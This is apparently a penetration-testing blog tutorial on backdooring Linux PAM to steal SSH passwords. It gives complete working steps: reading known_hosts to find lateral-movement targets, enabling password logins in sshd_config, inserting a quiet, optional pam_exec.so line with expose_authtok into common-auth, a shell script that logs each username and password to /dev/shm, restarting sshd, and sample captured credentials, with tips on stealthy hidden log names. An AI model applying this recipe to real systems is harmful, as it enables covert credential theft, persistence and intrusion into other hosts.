Backdooring PAM: Stealing SSH Credentials with pam_exec.so

Introduction

During penetration testing engagements, once you obtain a reverse shell, privilege escalation often becomes the next critical objective. While there are various methods to capture credentials, one particularly stealthy approach involves backdooring the Pluggable Authentication Module (PAM) system. This technique allows you to capture SSH credentials in real-time as users authenticate, providing a powerful persistence mechanism.

Why PAM Backdooring? While honeypots like Cowrie or Kippo can be effective, or Python SSH honeypots that i created ,they're often detectable and don't provide the same level of integration as manipulating the authentication system itself. also not interesting 😂

Finding the PAM Module

First, locate the pam_exec.so module on the target system:

find / -name pam_exec.so 2>/dev/null
# or
locate pam_exec.so

Recon with Known Hosts

Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. If those files are accessible, they give a list of destinations without the need for noisy scanning. For example, inspecting /home/dev3/.ssh/known_hosts might reveal entries such as git. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.

Preparing the Host

Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config:

target# > nano /etc/ssh/sshd_config

PasswordAuthentication yes

Configuring the Backdoor

Modifying PAM Configuration

We'll target either /etc/pam.d/sshd or /etc/pam.d/common-auth. For this example, we'll use common-auth:

target# sudo vi /etc/pam.d/common-auth

Add the following line at the beginning of the auth section:

auth    optional    pam_exec.so quiet   expose_authtok  /dev/shm/pwn.sh

Parameter Breakdown:

  • auth: Authentication module type

  • optional: Failure doesn't block authentication (maintains stealth)

  • pam_exec.so: The module that executes external scripts

  • quiet: Suppresses error messages

  • expose_authtok: Provides the authentication token (password) to the script

  • /dev/shm/pwn.sh: Our malicious script location (example: /var/log/.authc.log /var/log/.authh.log)

Complete common-auth Example

Important: Place the backdoor line before the success blocks to ensure it executes during authentication attempts.

Creating the Credential Capture Script

Create on target# /dev/shm/pwn.sh
#!/bin/sh

# Log timestamp, username, and password
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log

Make it executable and restart the ssh service.

Make the script executable
target# sudo chmod +x /dev/shm/pwn.sh
Restarting SSH Service
target# sudo systemctl restart ssh

Testing the Backdoor

Local Testing
ssh kali@localhost
Check the log file
target# tail -f /dev/shm/pwned.log

Sample Output:

Mon Nov 24 20:45:18 JST 2025 - kali:kali
Mon Nov 24 20:50:11 JST 2025 - kali:hello

Important Consideration

The backdoor only captures passwords for existing users. If you attempt to SSH with a non-existent username, it won't capture the password:

attacker# ssh nonexistentuser@localhost

To capture credentials for specific users, create them first into the attacker machine:

sudo useradd targetuser
sudo systemctl restart ssh

Advanced: Port Forwarding for External Access

If your reverse shell uses non-standard ports, forward SSH traffic:

This allows external connections to port 2222 while maintaining the backdoor functionality.

Capture Example

target# tail -f /dev/shm/pwned.log

Live Capture Output:

i tried to login via my remnux VM

Happy Hacking

Last updated